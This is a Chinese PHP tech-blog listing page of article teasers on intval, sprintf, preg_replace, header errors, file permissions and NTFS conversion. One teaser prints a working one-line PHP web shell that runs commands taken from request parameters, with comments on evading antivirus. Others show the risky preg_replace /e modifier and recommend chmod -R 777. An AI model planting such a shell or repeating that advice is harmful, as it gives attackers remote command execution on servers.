-
php下intval()和(int)转换使用与区别
本文为大家讲解了php中使用intval()和(int)转换有什么区别?或者说两者有什么不同,包括功能、定义方面的。或者和使用频率、效率等...
PHP 2014-12-14 06:00:05 -
php sprintf()函数让你的sql操作更安全
本文为大家介绍的是php 的sprintf()函数的用法,感兴趣的同学参考下. 本函数用来将字符串格式化。参数 format 是转换的格式,以百分比符号 % 开始到转换字符为止...
PHP 2014-12-14 04:15:04 -
php intval的测试代码发现问题
本文为大家讲解的是php的 intval函数的测试代码发现问题,感兴趣的同学参考下. 测试php intval函数的代码: <?php $o = 0...
PHP 2014-12-14 03:27:03 -
PHP错误:Cannot modify header information - headers already sent by原因及解决方法
本文为大家讲解了PHP错误:Cannot modify header information - headers already sent by的问题原因和解决方法,是在PHP程序开发中非常典型的错误情况,感兴趣的 朋友可以参考下 现来看看这段代码: <?php ob_start(); setcookie("username","test",time()+3600); echo "the username is:".$HTTP_COOKIE_VARS["username"]."n"; echo "the username is:".$_COOKIE["username"]."n"; print_r($_COOKIE); ?> 访问该PHP文件时提示Warning: Cannot modify header information - header...
PHP 2014-12-13 23:33:04 -
PHP正则替换函数preg_replace和preg_replace_callback使用总结
本文主要为大家讲解了PHP正则替换函数preg_replace和preg_replace_callback的使用方法,感兴趣的同学参考下. 在编写PHP模板引擎工具类时,以前常用的一个正则替换函数为 preg_replace(),加上正则修饰符 /e,就能够执行强大的回调函数,实现模板引擎编译(其实就是字符串替换)。 应用举例如下: <?php /** * 模板解析类 */ class Template { public function compile($template) { // if逻辑 $template = preg_replace("/<!--{ifs+(.+?)}-->/e", "$this->ifTag('\1')", $template); return $template; } ...
PHP 2014-12-13 22:33:11 -
RoboBrain:面向机器人的谷歌
据国外媒体报道,人们要什么问题,可以去询问谷歌、必应、百度或者在线数据库。现在,机器人们也有了属于它们的知识数据库...
互联网 2014-12-13 19:27:08 -
PHP错误: syntax error, unexpected $end 的解决方法
本文为大家讲解的是php错误:syntax error, unexpected $end 的解决方法,感兴趣的同学参考下 PHP 遇到 syntax error, unexpected $end 错误时,查错思路其实还是看看文件里 PHP 的开始标记和结束标记是否配对,还要额外注意注释里是否出现过 ?> 哟。 Parse error: syntax error, unexpected $end in script.php on line xx 调试了一会后发现产生错误的行是文件中间某行 //$str .= "?>n"; 想起来了 PHP 解释器允许的结尾标记那行还可以用单行注释,即 //$str .= "?>n"; 被解释成结尾标记前有注释,注释的内容是 //$str .= ",而 ?> 后面的 n"; 会被解释作 PHP 块外的内容按 HTML 输出出去!结果是给 $str .= "?>n"; 这行添加 // 成注释后,反而多了个 ?> 的结束标记...
PHP 2014-12-13 14:36:05 -
php array_intersect()函数使用代码
本文为大家讲解的是php中的array_intersect()函数的用法,该函数返回一个数组,该数组包含了所有在 array1 中也同时出现在所有其它参数数组中的值,感兴趣的同学参考下. array_intersect() 返回一个数组,该数组包含了所有在 array1 中也同时出现在所有其它参数数组中的值。注意键名保留不变...
PHP 2014-12-13 08:06:05 -
php preg_match_all结合str_replace替换内容中所有img
本文是一个php结合preg_match_all函数结合str_replace函数实现的可以用来替换内容中所有img标签的代码,感兴趣的同学参考下. 最近做站的时候,采集了大量的数据,但采回来的数据基本上都要经过过滤原站保留的数据,其中IMG就是一个地方。网站上好多这些应用例子似乎没有必要“秀”出来,但站已几天没写日志,那就来一个吧 采集回来的图片img标签中,有好多javascript脚本和无用的信息,必需过替换自己想要的,比如alt...
PHP 2014-12-13 07:36:04 -
php一句话cmdshell新型 (非一句话木马)
本文为大家讲解了一个新的一句话木马写法:"`"(键盘上~符号的下档键),和python中一样,这个符号中的命令会被php解析器执行,感兴趣的同学参考下. php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型); <?php /*一个新型的php一句话cmdshell(非一句话木马) //原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型); //局限性:特征码比较明显,``符号在php中很少用到,杀毒软件很容易以此为特征码扫描到并警报;``里面不能执行php代码; //write by skyfire */ echo `$_REQUEST[id]`; ?> ...
PHP 2014-12-13 05:27:08 -
php错误: file_put_contents(xxxx) [function.file-put-contents]: failed to open stream: Permission denied in原因及解决方法
PHP 错误: file_put_contents(xxxx) [function.file-put-contents]: failed to open stream: Permission denied in 原因: file_put_contents函数在向指定文件写入数据时权限不足写入失败 解决方法: 修改被写入的文件权限,如果是自动创建的文件,则目录没有权限,需要把目录赋予可写权限 linux下 chmod -R 777 ...
PHP 2014-12-13 03:42:03 -
Vista系统下NTFS和FAT32互相转化方法
这里收集了一些NTFS、FAT32互相转化的方法及常见问题,对Windows Vista系统也是一样适用。 FAT32->NTFS: 在开始——运行中输入CMD ,再输入 convert X:/FS:NTFS(X:是所要转化的分区盘符)在下次系统启动时自动转化...
系统程序 2014-12-13 03:27:06